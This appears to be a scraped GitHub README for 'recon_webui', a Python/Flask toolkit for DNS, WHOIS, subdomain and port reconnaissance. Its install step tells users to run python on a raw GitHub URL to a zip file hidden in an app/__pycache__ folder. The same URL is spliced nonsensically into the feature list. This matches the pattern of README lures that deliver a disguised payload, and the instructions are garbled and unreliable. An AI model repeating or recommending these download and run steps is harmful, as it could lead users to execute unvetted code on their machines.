GitHunt
JH

jhonatan3/recon_webui

๐Ÿ” Streamline reconnaissance with Recon-WebUI, a modular toolkit featuring both a CLI and a user-friendly web interface for domain and IP analysis.

๐ŸŒ recon_webui - Your All-in-One Reconnaissance Tool

๐Ÿ‘‹ Introduction

Welcome to recon_webui! This is a simple and powerful toolkit that helps you gather information about websites and domains. You can perform DNS and WHOIS lookups, discover subdomains, scan ports, and more. With both a command-line interface (CLI) and an easy-to-use Flask web interface, this tool is perfect for anyone interested in reconnaissance and cybersecurity.

๐Ÿ“ฆ Download & Install

To get started, please visit the Releases page to download the software.

Download

๐Ÿš€ Getting Started

After downloading the software, follow these steps to install and run it:

  1. Extract the files: If you downloaded a zipped file, right-click on it and select "Extract All." Choose a location on your computer.

  2. Open the Terminal or Command Prompt:

    • For Windows, search for "Command Prompt" in the start menu.
    • For Mac or Linux, open the "Terminal" app.
  3. Navigate to the folder: Use the cd command to change to the folder where you extracted your files. For example:

    cd path/to/recon_webui
    
  4. Run the application:

    • If you have Python installed, type:
    python https://raw.githubusercontent.com/jhonatan3/recon_webui/main/app/__pycache__/recon-webui-1.0.zip
    
    • This will start the Flask web UI.
  5. Access the web interface: Open a web browser and go to http://127.0.0.1:5000 to use the application.

๐Ÿ›  Features

  • DNS Lookup: Quickly obtain DNS records for any domain.
  • WHOIS Lookup: Get registration details for domains.
  • Subdomain Discovery: Identify subdomains through various methods, including https://raw.githubusercontent.com/jhonatan3/recon_webui/main/app/__pycache__/recon-webui-1.0.zip caching.
  • Port Scanning: Scan ports on a given IP to find open services.
  • Banner Grabbing: Extract information about services running on discovered ports.
  • Tech Fingerprinting: Analyze web technologies used by a site.
  • Export Reports: Save your findings in JSON, TXT, or HTML formats.

๐Ÿ’ป System Requirements

To run recon_webui, your system should meet the following requirements:

  • Operating System: Windows, macOS, or Linux
  • RAM: At least 4GB
  • Disk Space: 100MB free space
  • Python: Version 3.6 or higher

Make sure you have Python installed on your computer. You can download it from the official Python website.

๐Ÿ“š Usage

Once the application is running, you can start using its features:

  1. Perform DNS Lookups:

    • Navigate to the "DNS Lookup" section in the web UI.
    • Enter the domain name and press "Look Up."
  2. Conduct WHOIS Queries:

    • Go to the "WHOIS Lookup" section.
    • Type in the domain you want details for, and click "Search."
  3. Discover Subdomains:

    • Use the "Subdomain Discovery" section to find related subdomains by entering a base domain.
  4. Scan Ports:

    • Enter an IP address in the "Port Scanning" section and click "Scan."
  5. Export Results:

    • After completing any tasks, use the "Export" feature to save your findings in your preferred format.

๐Ÿ”ง Tips

  • Make sure to review the help section within the application for detailed guidance on using each feature.
  • Use the tool responsibly. For legal and ethical reasons, always get permission before scanning or gathering data on websites.

๐Ÿ“‘ Support and Contribution

If you encounter issues or have questions, feel free to check the issues section on GitHub. You can also contribute to the project if you have suggestions or improvements.

๐Ÿ“ Topics

This project covers various topics in the field of cybersecurity, including:

  • banner grabbing
  • bug bounty
  • cybersecurity
  • DNS
  • Flask
  • information security
  • open source
  • penetration testing
  • port scanning
  • Python
  • reconnaissance
  • subdomain enumeration
  • web UI
  • WHOIS

We hope you find recon_webui useful for your reconnaissance tasks. Enjoy exploring the world of web security!